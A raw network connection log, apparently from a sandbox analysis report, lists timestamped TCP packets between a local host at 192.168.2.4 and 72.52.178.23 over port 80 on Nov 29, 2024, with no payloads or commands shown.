Nov 29, 2024 01:52:55.497662067 CET	49808	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:55.497665882 CET	80	49808	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:55.497678041 CET	80	49808	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:55.497730017 CET	80	49808	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:55.497730970 CET	49808	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:55.497751951 CET	80	49808	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:55.497773886 CET	49808	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:55.497803926 CET	49808	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:55.497853041 CET	80	49808	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:55.497863054 CET	80	49808	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:55.497914076 CET	49808	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:55.617743015 CET	80	49808	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:55.617753983 CET	80	49808	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:55.617789030 CET	80	49808	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:55.617830992 CET	49808	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:55.617840052 CET	80	49808	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:55.617892027 CET	49808	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:55.661550999 CET	80	49808	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:55.664544106 CET	49808	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:55.734934092 CET	80	49806	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:55.737832069 CET	49806	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:55.740112066 CET	49806	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:55.781635046 CET	80	49808	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:55.781749010 CET	49808	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:55.825683117 CET	80	49808	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:55.825759888 CET	49808	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:55.860033989 CET	80	49806	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:55.871320009 CET	49809	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:55.945700884 CET	80	49808	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:55.991463900 CET	80	49809	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:55.991535902 CET	49809	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:56.008167028 CET	49809	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:56.037568092 CET	80	49808	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:56.038500071 CET	49808	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:56.128424883 CET	80	49809	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:56.289621115 CET	80	49808	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:56.289683104 CET	49808	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:56.368863106 CET	80	49808	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:56.368962049 CET	49808	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:56.409827948 CET	80	49808	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:56.489003897 CET	80	49808	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:56.489013910 CET	80	49808	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:56.489135027 CET	80	49808	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:56.489217043 CET	80	49808	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:56.489224911 CET	80	49808	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:56.489290953 CET	80	49808	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:56.489304066 CET	80	49808	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:56.607901096 CET	80	49808	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:56.607974052 CET	49808	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:56.609394073 CET	49808	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:56.729347944 CET	80	49808	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:56.845982075 CET	49810	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:56.965866089 CET	80	49810	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:56.965943098 CET	49810	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:56.966182947 CET	49810	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:56.966233969 CET	49810	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:56.966339111 CET	49810	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:56.966414928 CET	49810	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:57.086314917 CET	80	49810	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:57.086333036 CET	80	49810	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:57.086343050 CET	80	49810	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:57.086420059 CET	49810	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:57.086468935 CET	80	49810	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:57.086477995 CET	80	49810	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:57.086504936 CET	80	49810	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:57.086556911 CET	49810	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:57.086570978 CET	80	49810	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:57.086644888 CET	80	49810	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:57.086653948 CET	80	49810	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:57.086677074 CET	49810	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:57.086709023 CET	49810	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:57.086823940 CET	80	49810	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:57.086867094 CET	80	49810	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:57.086875916 CET	80	49810	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:57.086929083 CET	49810	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:57.130007029 CET	80	49809	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:57.130059958 CET	49809	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:57.138895035 CET	49809	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:57.206401110 CET	80	49810	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:57.206456900 CET	49810	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:57.206490993 CET	80	49810	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:57.206502914 CET	80	49810	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:57.206554890 CET	49810	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:57.206593990 CET	80	49810	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:57.206643105 CET	49810	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:57.249520063 CET	80	49810	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:57.249609947 CET	49810	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:57.249650955 CET	49810	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:57.257900000 CET	49816	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:57.258738995 CET	80	49809	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:57.369539022 CET	80	49810	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:57.369683027 CET	49810	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:57.377980947 CET	80	49816	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:57.378050089 CET	49816	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:57.378237009 CET	49816	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:57.413584948 CET	80	49810	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:57.413701057 CET	49810	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:57.498155117 CET	80	49816	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:57.533648968 CET	80	49810	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:57.535109997 CET	49810	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:57.697585106 CET	80	49810	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:57.700772047 CET	49810	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:57.901583910 CET	80	49810	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:57.901670933 CET	49810	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:57.957139015 CET	80	49810	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:57.957223892 CET	49810	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:58.021635056 CET	80	49810	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:58.078257084 CET	80	49810	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:58.078418970 CET	80	49810	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:58.078541040 CET	80	49810	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:58.078551054 CET	80	49810	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:58.078558922 CET	80	49810	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:58.078567982 CET	80	49810	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:58.196140051 CET	80	49810	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:58.196203947 CET	49810	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:58.196280003 CET	49810	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:58.316155910 CET	80	49810	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:58.426841021 CET	49817	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:58.546736956 CET	80	49817	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:58.548722982 CET	49817	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:58.548974037 CET	49817	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:58.549088955 CET	49817	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:58.549156904 CET	49817	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:58.549177885 CET	49817	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:58.608347893 CET	80	49816	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:58.608525038 CET	49816	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:58.608525038 CET	49816	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:58.668818951 CET	80	49817	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:58.668961048 CET	80	49817	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:58.669329882 CET	80	49817	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:58.669338942 CET	80	49817	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:58.669425011 CET	80	49817	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:58.669434071 CET	80	49817	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:58.669486046 CET	49817	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:58.669488907 CET	80	49817	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:58.669517040 CET	80	49817	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:58.669537067 CET	49817	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:58.669567108 CET	80	49817	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:58.669569969 CET	49817	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:58.669605970 CET	80	49817	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:58.669612885 CET	49817	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:58.669651985 CET	49817	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:58.669671059 CET	80	49817	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:58.669708967 CET	80	49817	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:58.669723034 CET	49817	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:58.669759989 CET	49817	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:58.722594976 CET	49818	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:58.728482962 CET	80	49816	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:58.789643049 CET	80	49817	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:58.789691925 CET	80	49817	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:58.789762020 CET	49817	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:58.789809942 CET	80	49817	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:58.789836884 CET	80	49817	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:58.789979935 CET	49817	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:58.833667994 CET	80	49817	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:58.836750984 CET	49817	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:58.843061924 CET	80	49818	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:58.844504118 CET	49818	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:58.844618082 CET	49818	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:58.953618050 CET	80	49817	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:58.955338001 CET	49817	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:58.964797974 CET	80	49818	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:59.001619101 CET	80	49817	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:59.004241943 CET	49817	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:59.117657900 CET	80	49817	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:59.213685036 CET	80	49817	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:59.214490891 CET	49817	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:59.461615086 CET	80	49817	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:59.462481976 CET	49817	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:59.503746986 CET	80	49817	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:59.503810883 CET	49817	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:59.582427025 CET	80	49817	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:59.623832941 CET	80	49817	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:59.623843908 CET	80	49817	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:59.623871088 CET	80	49817	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:59.624003887 CET	80	49817	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:59.624025106 CET	80	49817	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:59.624134064 CET	80	49817	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:59.624142885 CET	80	49817	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:59.734289885 CET	80	49817	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:59.734405041 CET	49817	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:59.734445095 CET	49817	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:59.854408979 CET	80	49817	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:59.907155037 CET	49824	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:00.027440071 CET	80	49824	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:00.027512074 CET	49824	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:00.027614117 CET	49824	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:00.027654886 CET	49824	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:00.027726889 CET	49824	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:00.027749062 CET	49824	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:00.074620008 CET	80	49818	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:00.074697971 CET	49818	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:00.074731112 CET	49818	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:00.147530079 CET	80	49824	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:00.147804976 CET	80	49824	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:00.147821903 CET	80	49824	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:00.147831917 CET	80	49824	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:00.147890091 CET	49824	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:00.147943974 CET	80	49824	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:00.147990942 CET	80	49824	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:00.148052931 CET	49824	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:00.148119926 CET	80	49824	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:00.148180008 CET	49824	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:00.148181915 CET	80	49824	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:00.148225069 CET	49824	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:00.148308992 CET	80	49824	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:00.148348093 CET	80	49824	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:00.148367882 CET	49824	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:00.148395061 CET	80	49824	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:00.148425102 CET	49824	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:00.148447037 CET	49824	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:00.148529053 CET	80	49824	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:00.148581028 CET	49824	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:00.190712929 CET	49825	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:00.194749117 CET	80	49818	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:00.267968893 CET	80	49824	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:00.267992020 CET	80	49824	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:00.268034935 CET	49824	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:00.268045902 CET	80	49824	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:00.268053055 CET	49824	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:00.268057108 CET	80	49824	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:00.268089056 CET	49824	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:00.268100023 CET	49824	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:00.309596062 CET	80	49824	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:00.309746981 CET	49824	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:00.310646057 CET	80	49825	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:00.310725927 CET	49825	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:00.310821056 CET	49825	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:00.429637909 CET	80	49824	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:00.429734945 CET	49824	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:00.430704117 CET	80	49825	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:00.477591038 CET	80	49824	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:00.477653027 CET	49824	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:00.593586922 CET	80	49824	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:00.689615011 CET	80	49824	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:00.689688921 CET	49824	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:00.937686920 CET	80	49824	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:00.937768936 CET	49824	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:00.986731052 CET	80	49824	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:00.986815929 CET	49824	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:01.057740927 CET	80	49824	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:01.106842995 CET	80	49824	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:01.106905937 CET	80	49824	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:01.107002020 CET	80	49824	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:01.107050896 CET	80	49824	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:01.107122898 CET	80	49824	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:01.107183933 CET	80	49824	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:01.107244015 CET	80	49824	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:01.216408014 CET	80	49824	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:01.216497898 CET	49824	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:01.216571093 CET	49824	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:01.336457014 CET	80	49824	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:01.407161951 CET	49826	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:01.527131081 CET	80	49826	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:01.527209997 CET	49826	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:01.527319908 CET	49826	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:01.527390957 CET	49826	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:01.527470112 CET	49826	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:01.527493000 CET	49826	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:01.539881945 CET	80	49825	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:01.540030956 CET	49825	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:01.540062904 CET	49825	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:01.646085024 CET	49829	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:01.647361994 CET	80	49826	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:01.647382021 CET	80	49826	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:01.647531986 CET	80	49826	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:01.647542000 CET	80	49826	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:01.647608995 CET	49826	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:01.647650957 CET	80	49826	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:01.647675991 CET	80	49826	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:01.647731066 CET	49826	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:01.647758961 CET	80	49826	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:01.647789955 CET	80	49826	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:01.647838116 CET	49826	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:01.647913933 CET	80	49826	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:01.647958994 CET	80	49826	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:01.647979975 CET	80	49826	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:01.648013115 CET	49826	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:01.648013115 CET	49826	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:01.648031950 CET	80	49826	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:01.648222923 CET	49826	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:01.659964085 CET	80	49825	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:01.765983105 CET	80	49829	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:01.766498089 CET	49829	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:01.767679930 CET	80	49826	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:01.767690897 CET	80	49826	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:01.767749071 CET	49826	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:01.767798901 CET	80	49826	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:01.767823935 CET	80	49826	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:01.767874002 CET	49826	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:01.775747061 CET	49829	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:01.813642979 CET	80	49826	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:01.814601898 CET	49826	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:01.895659924 CET	80	49829	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:01.929651976 CET	80	49826	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:01.930533886 CET	49826	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:01.977861881 CET	80	49826	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:01.978506088 CET	49826	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:02.097640991 CET	80	49826	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:02.193864107 CET	80	49826	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:02.194511890 CET	49826	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:02.437700987 CET	80	49826	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:02.437762022 CET	49826	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:02.480654955 CET	80	49826	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:02.480716944 CET	49826	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:02.480743885 CET	49826	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:02.557893991 CET	80	49826	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:02.600766897 CET	80	49826	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:02.600780964 CET	80	49826	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:02.600828886 CET	80	49826	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:02.601068974 CET	80	49826	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:02.601113081 CET	80	49826	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:02.601191998 CET	80	49826	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:02.601382971 CET	80	49826	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:02.710305929 CET	80	49826	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:02.710364103 CET	49826	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:02.710407019 CET	49826	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:02.830322027 CET	80	49826	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:02.881932974 CET	49833	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:02.950253010 CET	80	49829	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:02.950391054 CET	49829	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:02.950618029 CET	49829	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:03.001965046 CET	80	49833	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:03.002031088 CET	49833	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:03.002723932 CET	49833	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:03.002819061 CET	49833	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:03.002876997 CET	49833	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:03.002957106 CET	49833	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:03.066030979 CET	49834	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:03.070498943 CET	80	49829	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:03.122824907 CET	80	49833	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:03.122848988 CET	80	49833	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:03.122859955 CET	80	49833	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:03.122905016 CET	49833	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:03.122960091 CET	80	49833	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:03.122971058 CET	80	49833	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:03.123017073 CET	49833	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:03.123051882 CET	80	49833	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:03.123090029 CET	80	49833	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:03.123131990 CET	49833	80	192.168.2.4	72.52.178.23
